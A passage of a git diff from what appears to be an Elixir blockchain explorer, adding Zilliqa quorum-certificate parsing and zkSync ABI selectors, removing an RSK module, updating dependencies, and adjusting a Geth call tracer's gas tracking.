alias EthereumJSONRPC.Zilliqa + alias EthereumJSONRPC.{Block, Blocks} + + alias EthereumJSONRPC.Zilliqa.{ + AggregateQuorumCertificate, + NestedQuorumCertificates, + QuorumCertificate + } + + @initial_acc %{ + zilliqa_quorum_certificates_params: [], + zilliqa_aggregate_quorum_certificates_params: [], + zilliqa_nested_quorum_certificates_params: [] + } + + @type consensus_data_params :: %{ + zilliqa_quorum_certificates_params: [QuorumCertificate.params()], + zilliqa_aggregate_quorum_certificates_params: [AggregateQuorumCertificate.params()], + zilliqa_nested_quorum_certificates_params: [NestedQuorumCertificates.params()] + } + + @spec extend_blocks_struct(Blocks.t(), Blocks.elixir()) :: Blocks.t() + def extend_blocks_struct(%Blocks{} = module, elixir_blocks) do + consensus_data_fields = + Enum.reduce( + elixir_blocks, + @initial_acc, + &reduce_to_consensus_data/2 + ) + + Map.merge(module, consensus_data_fields) + end + + @doc """ + Converts a list of bits to a list of indexes where the bit is equal 1. + + ## Examples + + iex> EthereumJSONRPC.Zilliqa.Helper.legacy_bit_vector_to_signers("[1, 0, 1, 0]") + [0, 2] + + iex> EthereumJSONRPC.Zilliqa.Helper.legacy_bit_vector_to_signers("[1, 1, 1, 1]") + [0, 1, 2, 3] + + TODO: Remove once aggregate quorum certificate also relies on new hex format + """ + @spec legacy_bit_vector_to_signers(binary()) :: Zilliqa.signers() + def legacy_bit_vector_to_signers(bit_list_json_string) do + bit_list_json_string + |> Jason.decode!() + |> Enum.with_index() + |> Enum.filter(fn {bit, _} -> bit == 1 end) + |> Enum.map(fn {_, index} -> index end) + end + + @doc """ + Converts a number in hex to a list of indexes where the bit in the binary + representation of this number is equal 1. + + ## Examples + + iex> EthereumJSONRPC.Zilliqa.Helper.bit_vector_to_signers("0xa000000000000000000000000000000000000000000000000000000000000000") + [0, 2] + + iex> EthereumJSONRPC.Zilliqa.Helper.bit_vector_to_signers("0xf000000000000000000000000000000000000000000000000000000000000000") + [0, 1, 2, 3] + """ + @spec bit_vector_to_signers(EthereumJSONRPC.data()) :: Zilliqa.signers() + def bit_vector_to_signers(hex) when is_binary(hex) do + hex + |> String.trim_leading("0x") + |> String.graphemes() + |> Enum.flat_map(&hex_char_to_bits/1) + |> Enum.with_index() + |> Enum.filter(fn {bit, _} -> bit == 1 end) + |> Enum.map(fn {_, index} -> index end) + end + + @spec hex_char_to_bits(binary()) :: [integer()] + defp hex_char_to_bits(char) do + char + |> String.to_integer(16) + |> Integer.to_string(2) + |> String.pad_leading(4, "0") + |> String.graphemes() + |> Enum.map(&String.to_integer/1) + end + + @spec reduce_to_consensus_data( + Block.elixir(), + consensus_data_params() + ) :: consensus_data_params() + defp reduce_to_consensus_data( + elixir_block, + %{ + zilliqa_quorum_certificates_params: quorum_certificates_params_acc, + zilliqa_aggregate_quorum_certificates_params: aggregate_quorum_certificates_params_acc, + zilliqa_nested_quorum_certificates_params: aggregate_nested_quorum_certificates_params_acc + } + ) do + quorum_certificates_map = + elixir_block + |> Block.elixir_to_zilliqa_quorum_certificate() + |> case do + nil -> + %{zilliqa_quorum_certificates_params: quorum_certificates_params_acc} + + quorum_certificate -> + quorum_certificate_params = QuorumCertificate.to_params(quorum_certificate) + %{zilliqa_quorum_certificates_params: [quorum_certificate_params | quorum_certificates_params_acc]} + end + + aggregated_quorum_certificate_map = + elixir_block + |> Block.elixir_to_zilliqa_aggregate_quorum_certificate() + |> case do + nil -> + %{ + zilliqa_aggregate_quorum_certificates_params: aggregate_quorum_certificates_params_acc, + zilliqa_nested_quorum_certificates_params: aggregate_nested_quorum_certificates_params_acc + } + + aggregate_quorum_certificates -> + aggregate_quorum_certificate_params = + AggregateQuorumCertificate.to_params(aggregate_quorum_certificates) + + aggregate_nested_quorum_certificates_params = + NestedQuorumCertificates.to_params(aggregate_quorum_certificates.quorum_certificates) + + %{ + zilliqa_aggregate_quorum_certificates_params: [ + aggregate_quorum_certificate_params | aggregate_quorum_certificates_params_acc + ], + zilliqa_nested_quorum_certificates_params: + aggregate_nested_quorum_certificates_params ++ aggregate_nested_quorum_certificates_params_acc + } + end + + Map.merge(quorum_certificates_map, aggregated_quorum_certificate_map) + end +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/zilliqa/nested_quorum_certificates.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/zilliqa/nested_quorum_certificates.ex new file mode 100644 index 000000000000..5320d483fab1 --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/zilliqa/nested_quorum_certificates.ex @@ -0,0 +1,192 @@ +defmodule EthereumJSONRPC.Zilliqa.NestedQuorumCertificates do + @moduledoc """ + Represents a list of quorum certificates that were proposed by different + validators in the aggregate quorum certificate. + """ + + import EthereumJSONRPC.Zilliqa.Helper, + only: [legacy_bit_vector_to_signers: 1] + + # only: [bit_vector_to_signers: 1] + + alias EthereumJSONRPC.Zilliqa + alias EthereumJSONRPC.Zilliqa.QuorumCertificate + + defstruct [:signers, :items] + + @type elixir :: [QuorumCertificate.elixir()] + + @type t :: %__MODULE__{ + signers: [non_neg_integer()], + items: [QuorumCertificate.t()] + } + + @type params :: %{ + proposed_by_validator_index: Zilliqa.validator_index(), + block_hash: EthereumJSONRPC.hash(), + view: non_neg_integer(), + signature: EthereumJSONRPC.hash(), + signers: Zilliqa.signers() + } + + @doc """ + Decodes the JSON object returned by JSONRPC node into the `t:t/0` format. + + ## Examples + + iex> aqc_json = %{ + ...> # "cosigned" => "0x7080000000000000000000000000000000000000000000000000000000000000", + ...> "cosigned" => "[0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]", + ...> "quorum_certificates" => [ + ...> %{ + ...> "block_hash" => "0x4b8939a7fb0d7de4b288bafd4d5caa02f53abf3c1e348fca5038eebbf68248fa", + ...> "cosigned" => "0xd080000000000000000000000000000000000000000000000000000000000000", + ...> "signature" => "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + ...> "view" => "0x115cc7" + ...> }, + ...> %{ + ...> "block_hash" => "0x4b8939a7fb0d7de4b288bafd4d5caa02f53abf3c1e348fca5038eebbf68248fa", + ...> "cosigned" => "0xd080000000000000000000000000000000000000000000000000000000000000", + ...> "signature" => "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + ...> "view" => "0x115cc7" + ...> }, + ...> %{ + ...> "block_hash" => "0x4b8939a7fb0d7de4b288bafd4d5caa02f53abf3c1e348fca5038eebbf68248fa", + ...> "cosigned" => "0xd080000000000000000000000000000000000000000000000000000000000000", + ...> "signature" => "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + ...> "view" => "0x115cc7" + ...> }, + ...> %{ + ...> "block_hash" => "0x4b8939a7fb0d7de4b288bafd4d5caa02f53abf3c1e348fca5038eebbf68248fa", + ...> "cosigned" => "0xd080000000000000000000000000000000000000000000000000000000000000", + ...> "signature" => "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + ...> "view" => "0x115cc7" + ...> } + ...> ], + ...> "signature" => "0x820f591cd78b29a69ba25bc85c4327fa3b0adb61a73a4f0bd943b4ab0b97e061eae9ac032d19fbfab7efb89fac2454ab0b89fea83185c0dac749ff55b0e2c21535a2b712872491577728db868d11939461a6bfde0d94d238f46b643bbe19767e", + ...> "view" => "0x115cca" + ...> } + iex> quorum_certificates = aqc_json["quorum_certificates"] + iex> bit_vector = aqc_json["cosigned"] + iex> block_hash = "0x9c8a047e40ea975cb14c5ccff232a2210fbf5d77b10c748b3559ada0d4adad9d" + iex> EthereumJSONRPC.Zilliqa.NestedQuorumCertificates.new(quorum_certificates, bit_vector, block_hash) + %EthereumJSONRPC.Zilliqa.NestedQuorumCertificates{ + signers: [1, 2, 3, 8], + items: [ + %EthereumJSONRPC.Zilliqa.QuorumCertificate{ + block_hash: "0x9c8a047e40ea975cb14c5ccff232a2210fbf5d77b10c748b3559ada0d4adad9d", + view: 1137863, + signature: "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + signers: [0, 1, 3, 8] + }, + %EthereumJSONRPC.Zilliqa.QuorumCertificate{ + block_hash: "0x9c8a047e40ea975cb14c5ccff232a2210fbf5d77b10c748b3559ada0d4adad9d", + view: 1137863, + signature: "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + signers: [0, 1, 3, 8] + }, + %EthereumJSONRPC.Zilliqa.QuorumCertificate{ + block_hash: "0x9c8a047e40ea975cb14c5ccff232a2210fbf5d77b10c748b3559ada0d4adad9d", + view: 1137863, + signature: "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + signers: [0, 1, 3, 8] + }, + %EthereumJSONRPC.Zilliqa.QuorumCertificate{ + block_hash: "0x9c8a047e40ea975cb14c5ccff232a2210fbf5d77b10c748b3559ada0d4adad9d", + view: 1137863, + signature: "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + signers: [0, 1, 3, 8] + } + ] + } + """ + @spec new([QuorumCertificate.elixir()], EthereumJSONRPC.data(), EthereumJSONRPC.hash()) :: t() + def new(quorum_certificates, bit_vector, block_hash) do + signers = legacy_bit_vector_to_signers(bit_vector) + # TODO: Remove once aggregate quorum certificate also relies on new hex format + # signers = bit_vector_to_signers(bit_vector) + items = Enum.map(quorum_certificates, &QuorumCertificate.new(&1, block_hash)) + + %__MODULE__{ + signers: signers, + items: items + } + end + + @doc """ + Converts `t:t/0` format to params used in `Explorer.Chain`. + + ## Examples + + iex> nested_quorum_certificates = %EthereumJSONRPC.Zilliqa.NestedQuorumCertificates{ + ...> signers: [1, 2, 3, 8], + ...> items: [ + ...> %EthereumJSONRPC.Zilliqa.QuorumCertificate{ + ...> block_hash: "0x9c8a047e40ea975cb14c5ccff232a2210fbf5d77b10c748b3559ada0d4adad9d", + ...> view: 1137863, + ...> signature: "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + ...> signers: [0, 1, 3, 8] + ...> }, + ...> %EthereumJSONRPC.Zilliqa.QuorumCertificate{ + ...> block_hash: "0x9c8a047e40ea975cb14c5ccff232a2210fbf5d77b10c748b3559ada0d4adad9d", + ...> view: 1137863, + ...> signature: "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + ...> signers: [0, 1, 3, 8] + ...> }, + ...> %EthereumJSONRPC.Zilliqa.QuorumCertificate{ + ...> block_hash: "0x9c8a047e40ea975cb14c5ccff232a2210fbf5d77b10c748b3559ada0d4adad9d", + ...> view: 1137863, + ...> signature: "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + ...> signers: [0, 1, 3, 8] + ...> }, + ...> %EthereumJSONRPC.Zilliqa.QuorumCertificate{ + ...> block_hash: "0x9c8a047e40ea975cb14c5ccff232a2210fbf5d77b10c748b3559ada0d4adad9d", + ...> view: 1137863, + ...> signature: "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + ...> signers: [0, 1, 3, 8] + ...> } + ...> ] + ...> } + iex> EthereumJSONRPC.Zilliqa.NestedQuorumCertificates.to_params(nested_quorum_certificates) + [ + %{ + signature: "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + block_hash: "0x9c8a047e40ea975cb14c5ccff232a2210fbf5d77b10c748b3559ada0d4adad9d", + view: 1137863, + signers: [0, 1, 3, 8], + proposed_by_validator_index: 1 + }, + %{ + signature: "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + block_hash: "0x9c8a047e40ea975cb14c5ccff232a2210fbf5d77b10c748b3559ada0d4adad9d", + view: 1137863, + signers: [0, 1, 3, 8], + proposed_by_validator_index: 2 + }, + %{ + signature: "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + block_hash: "0x9c8a047e40ea975cb14c5ccff232a2210fbf5d77b10c748b3559ada0d4adad9d", + view: 1137863, + signers: [0, 1, 3, 8], + proposed_by_validator_index: 3 + }, + %{ + signature: "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + block_hash: "0x9c8a047e40ea975cb14c5ccff232a2210fbf5d77b10c748b3559ada0d4adad9d", + view: 1137863, + signers: [0, 1, 3, 8], + proposed_by_validator_index: 8 + } + ] + """ + @spec to_params(t()) :: [params()] + def to_params(%__MODULE__{signers: signers, items: items}) do + signers + |> Enum.zip(items) + |> Enum.map(fn {validator_index, cert} -> + cert + |> QuorumCertificate.to_params() + |> Map.put(:proposed_by_validator_index, validator_index) + end) + end +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/zilliqa/quorum_certificate.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/zilliqa/quorum_certificate.ex new file mode 100644 index 000000000000..ea2716fe9fd8 --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/zilliqa/quorum_certificate.ex @@ -0,0 +1,100 @@ +defmodule EthereumJSONRPC.Zilliqa.QuorumCertificate do + @moduledoc """ + Represents a quorum certificate associated with the block. + """ + import EthereumJSONRPC, only: [quantity_to_integer: 1] + + import EthereumJSONRPC.Zilliqa.Helper, + only: [bit_vector_to_signers: 1] + + @type elixir :: %{ + String.t() => EthereumJSONRPC.quantity() | EthereumJSONRPC.data() | EthereumJSONRPC.hash() + } + + @type t :: %__MODULE__{ + block_hash: EthereumJSONRPC.hash(), + view: non_neg_integer(), + signature: EthereumJSONRPC.hash(), + signers: [non_neg_integer()] + } + + @type params :: %{ + block_hash: EthereumJSONRPC.hash(), + view: non_neg_integer(), + signature: EthereumJSONRPC.hash(), + signers: [non_neg_integer()] + } + + defstruct [:block_hash, :view, :signature, :signers] + + @doc """ + Decodes the JSON object returned by JSONRPC node into the `t:t/0` format. + + ## Examples + + iex> qc_json = %{ + ...> "block_hash" => "0x4b8939a7fb0d7de4b288bafd4d5caa02f53abf3c1e348fca5038eebbf68248fa", + ...> "cosigned" => "0xd080000000000000000000000000000000000000000000000000000000000000", + ...> "signature" => "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + ...> "view" => "0x115cc7" + ...> } + iex> block_hash = "0x9c8a047e40ea975cb14c5ccff232a2210fbf5d77b10c748b3559ada0d4adad9d" + iex> EthereumJSONRPC.Zilliqa.QuorumCertificate.new(qc_json, block_hash) + %EthereumJSONRPC.Zilliqa.QuorumCertificate{ + block_hash: "0x9c8a047e40ea975cb14c5ccff232a2210fbf5d77b10c748b3559ada0d4adad9d", + view: 1137863, + signature: "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + signers: [0, 1, 3, 8] + } + """ + @spec new(elixir(), EthereumJSONRPC.hash()) :: t() + def new( + %{ + "view" => view, + "cosigned" => bit_vector, + "signature" => signature + }, + block_hash + ) do + %__MODULE__{ + block_hash: block_hash, + view: quantity_to_integer(view), + signature: signature, + signers: bit_vector_to_signers(bit_vector) + } + end + + @doc """ + Converts `t:t/0` format to params used in `Explorer.Chain`. + + ## Examples + + iex> qc = %EthereumJSONRPC.Zilliqa.QuorumCertificate{ + ...> block_hash: "0x9c8a047e40ea975cb14c5ccff232a2210fbf5d77b10c748b3559ada0d4adad9d", + ...> view: 1137863, + ...> signature: "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + ...> signers: [0, 1, 3, 8] + ...> } + iex> EthereumJSONRPC.Zilliqa.QuorumCertificate.to_params(qc) + %{ + block_hash: "0x9c8a047e40ea975cb14c5ccff232a2210fbf5d77b10c748b3559ada0d4adad9d", + view: 1137863, + signature: "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + signers: [0, 1, 3, 8] + } + """ + @spec to_params(t()) :: params() + def to_params(%__MODULE__{ + block_hash: block_hash, + view: view, + signature: signature, + signers: signers + }) do + %{ + block_hash: block_hash, + view: view, + signature: signature, + signers: signers + } + end +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/zksync/constants/contracts.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/zksync/constants/contracts.ex new file mode 100644 index 000000000000..f18a87b5c769 --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/zksync/constants/contracts.ex @@ -0,0 +1,139 @@ +defmodule EthereumJSONRPC.ZkSync.Constants.Contracts do + @moduledoc """ + Provides constants and ABI definitions for zkSync-specific smart contracts. + """ + + # /// @notice Rollup batch stored data + # /// @param batchNumber Rollup batch number + # /// @param batchHash Hash of L2 batch + # /// @param indexRepeatedStorageChanges The serial number of the shortcut index that's used as a unique identifier for storage keys that were used twice or more + # /// @param numberOfLayer1Txs Number of priority operations to be processed + # /// @param priorityOperationsHash Hash of all priority operations from this batch + # /// @param l2LogsTreeRoot Root hash of tree that contains L2 -> L1 messages from this batch + # /// @param timestamp Rollup batch timestamp, have the same format as Ethereum batch constant + # /// @param commitment Verified input for the ZKsync circuit + # struct StoredBatchInfo { + # uint64 batchNumber; + # bytes32 batchHash; + # uint64 indexRepeatedStorageChanges; + # uint256 numberOfLayer1Txs; + # bytes32 priorityOperationsHash; + # bytes32 l2LogsTreeRoot; + # uint256 timestamp; + # bytes32 commitment; + # } + @stored_batch_info_tuple [ + # batchNumber + uint: 64, + # batchHash + bytes: 32, + # indexRepeatedStorageChanges + uint: 64, + # numberOfLayer1Txs + uint: 256, + # priorityOperationsHash + bytes: 32, + # l2LogsTreeRoot + bytes: 32, + # timestamp + uint: 256, + # commitment + bytes: 32 + ] + + # /// @notice Recursive proof input data (individual commitments are constructed onchain) + # struct ProofInput { + # uint256[] recursiveAggregationInput; + # uint256[] serializedProof; + # } + @proof_input_tuple [ + # recursiveAggregationInput + array: {:uint, 256}, + # serializedProof + array: {:uint, 256} + ] + + @selector_prove_batches "7f61885c" + @selector_prove_batches_shared_bridge_c37533bb "c37533bb" + @selector_prove_batches_shared_bridge_e12a6137 "e12a6137" + + @doc """ + Returns selector of the `proveBatches` function + """ + def prove_batches_selector, do: @selector_prove_batches + + @doc """ + Returns selector of the `proveBatchesSharedBridge` function + """ + def prove_batches_shared_bridge_c37533bb_selector, do: @selector_prove_batches_shared_bridge_c37533bb + + @doc """ + Returns selector of the `proveBatchesSharedBridge` function with selector e12a6137 + """ + def prove_batches_shared_bridge_e12a6137_selector, do: @selector_prove_batches_shared_bridge_e12a6137 + + @doc """ + Returns selector with ABI (object of `ABI.FunctionSelector`) of the function: + + proveBatches( + StoredBatchInfo calldata _prevBatch, + StoredBatchInfo[] calldata _committedBatches, + ProofInput calldata _proof + ) + """ + def prove_batches_selector_with_abi, + do: %ABI.FunctionSelector{ + function: "proveBatches", + types: [ + {:tuple, @stored_batch_info_tuple}, + {:array, {:tuple, @stored_batch_info_tuple}}, + {:tuple, @proof_input_tuple} + ] + } + + @doc """ + Returns selector with ABI (object of `ABI.FunctionSelector`) of the function: + + proveBatchesSharedBridge( + uint256 _chainId, + StoredBatchInfo calldata _prevBatch, + StoredBatchInfo[] calldata _committedBatches, + ProofInput calldata _proof + ) + """ + def prove_batches_shared_bridge_c37533bb_selector_with_abi, + do: %ABI.FunctionSelector{ + function: "proveBatchesSharedBridge", + types: [ + {:uint, 256}, + {:tuple, @stored_batch_info_tuple}, + {:array, {:tuple, @stored_batch_info_tuple}}, + {:tuple, @proof_input_tuple} + ] + } + + @doc """ + Returns selector with ABI (object of `ABI.FunctionSelector`) of the function: + + proveBatchesSharedBridge( + uint256 _chainId, + uint256 _processBatchFrom, + uint256 _processBatchTo, + bytes calldata _proofData + ) + """ + def prove_batches_shared_bridge_e12a6137_selector_with_abi, + do: %ABI.FunctionSelector{ + function: "proveBatchesSharedBridge", + types: [ + # _chainId + {:uint, 256}, + # _processBatchFrom + {:uint, 256}, + # _processBatchTo + {:uint, 256}, + # _proofData + :bytes + ] + } +end diff --git a/apps/ethereum_jsonrpc/lib/rsk.ex b/apps/ethereum_jsonrpc/lib/rsk.ex deleted file mode 100644 index 85d8267d0438..000000000000 --- a/apps/ethereum_jsonrpc/lib/rsk.ex +++ /dev/null @@ -1,13 +0,0 @@ -defmodule EthereumJSONRPC.RSK do - @moduledoc """ - Ethereum JSONRPC methods that are/are not supported by [RSK](https://www.rsk.co/). - """ - - @behaviour EthereumJSONRPC.Variant - - def fetch_internal_transactions(_, _), do: :ignore - def fetch_pending_transactions(_), do: :ignore - def fetch_block_internal_transactions(_block_numbers, _json_rpc_named_arguments), do: :ignore - def fetch_beneficiaries(_, _), do: :ignore - def fetch_first_trace(_transactions_params, _json_rpc_named_arguments), do: :ignore -end diff --git a/apps/ethereum_jsonrpc/mix.exs b/apps/ethereum_jsonrpc/mix.exs index e0012546bd8c..4287614f0363 100644 --- a/apps/ethereum_jsonrpc/mix.exs +++ b/apps/ethereum_jsonrpc/mix.exs @@ -1,4 +1,4 @@ -defmodule EthereumJsonrpc.MixProject do +defmodule EthereumJSONRPC.MixProject do use Mix.Project def project do @@ -11,11 +11,11 @@ defmodule EthereumJsonrpc.MixProject do deps_path: "../../deps", description: "Ethereum JSONRPC client.", dialyzer: [ - plt_add_deps: :transitive, + plt_add_deps: :app_tree, plt_add_apps: [:mix], - ignore_warnings: "../../.dialyzer-ignore" + ignore_warnings: "../../.dialyzer_ignore.exs" ], - elixir: "~> 1.13", + elixir: "~> 1.17", elixirc_paths: elixirc_paths(Mix.env()), lockfile: "../../mix.lock", preferred_cli_env: [ @@ -23,7 +23,7 @@ defmodule EthereumJsonrpc.MixProject do dialyzer: :test ], start_permanent: Mix.env() == :prod, - version: "4.1.8" + version: "9.1.1" ] end @@ -31,7 +31,7 @@ defmodule EthereumJsonrpc.MixProject do def application do [ mod: {EthereumJSONRPC.Application, []}, - extra_applications: [:logger] + extra_applications: [:logger, :tesla] ] end @@ -58,34 +58,37 @@ defmodule EthereumJsonrpc.MixProject do {:certifi, "~> 2.3"}, # WebSocket-server for testing `EthereumJSONRPC.WebSocket.WebSocketClient`. {:cowboy, "~> 2.0", only: [:dev, :test]}, - # Style Checking - {:credo, "~> 1.5", only: :test, runtime: false}, # Static Type Checking {:dialyxir, "~> 1.1", only: [:dev, :test], runtime: false}, + {:ex_keccak, "~> 0.7.5"}, # JSONRPC HTTP Post calls - {:httpoison, "~> 1.6"}, + {:httpoison, "~> 2.0"}, # Decode/Encode JSON for JSONRPC {:jason, "~> 1.3"}, # Log errors and application output to separate files {:logger_file_backend, "~> 0.0.10"}, # Mocking `EthereumJSONRPC.Transport` and `EthereumJSONRPC.HTTP` so we avoid hitting real chains for local testing - {:mox, "~> 1.0", only: [:test]}, + {:mox, "~> 1.1.0", only: [:test]}, + {:prometheus_ex, "~> 5.0.0", override: true}, # Tracing {:spandex, "~> 3.0"}, # `:spandex` integration with Datadog {:spandex_datadog, "~> 1.0"}, + {:tesla, "~> 1.15.3"}, # Convert unix timestamps in JSONRPC to DateTimes {:timex, "~> 3.7.1"}, # Encode/decode function names and arguments - {:ex_abi, "~> 0.4"}, + {:ex_abi, "~> 0.8"}, # `:verify_fun` for `Socket.Web.connect` {:ssl_verify_fun, "~> 1.1"}, # `EthereumJSONRPC.WebSocket` - {:websocket_client, "~> 1.3"}, {:decimal, "~> 2.0"}, {:decorator, "~> 1.4"}, {:hackney, "~> 1.18"}, - {:poolboy, "~> 1.5.2"} + {:poolboy, "~> 1.5.2"}, + {:logger_json, "~> 5.1"}, + {:utils, in_umbrella: true}, + {:websockex, "~> 0.4.3"} ] end end diff --git a/apps/ethereum_jsonrpc/priv/js/ethereum_jsonrpc/geth/debug_traceTransaction/tracer.js b/apps/ethereum_jsonrpc/priv/js/ethereum_jsonrpc/geth/debug_traceTransaction/tracer.js index 9002a7869e9b..db5b6b87cfd7 100644 --- a/apps/ethereum_jsonrpc/priv/js/ethereum_jsonrpc/geth/debug_traceTransaction/tracer.js +++ b/apps/ethereum_jsonrpc/priv/js/ethereum_jsonrpc/geth/debug_traceTransaction/tracer.js @@ -3,6 +3,10 @@ // The call stack of the EVM execution. callStack: [{}], + // Descended tracks whether we've just descended from an outer transaction into + // an inner call. + descended: false, + // step is invoked for every opcode that the VM executes. step(log, db) { // Capture any errors immediately @@ -85,6 +89,11 @@ success(log, db) { const op = log.op.toString(); + if (this.descended) { + this.topCall().gasBigInt = log.getGas(); + this.descended = false; + } + this.beforeOp(log, db); switch (op) { @@ -163,6 +172,7 @@ valueBigInt: bigInt(stackValue.toString(10)) }; this.callStack.push(call); + this.descended = true; }, create2Op(log) { @@ -178,6 +188,7 @@ 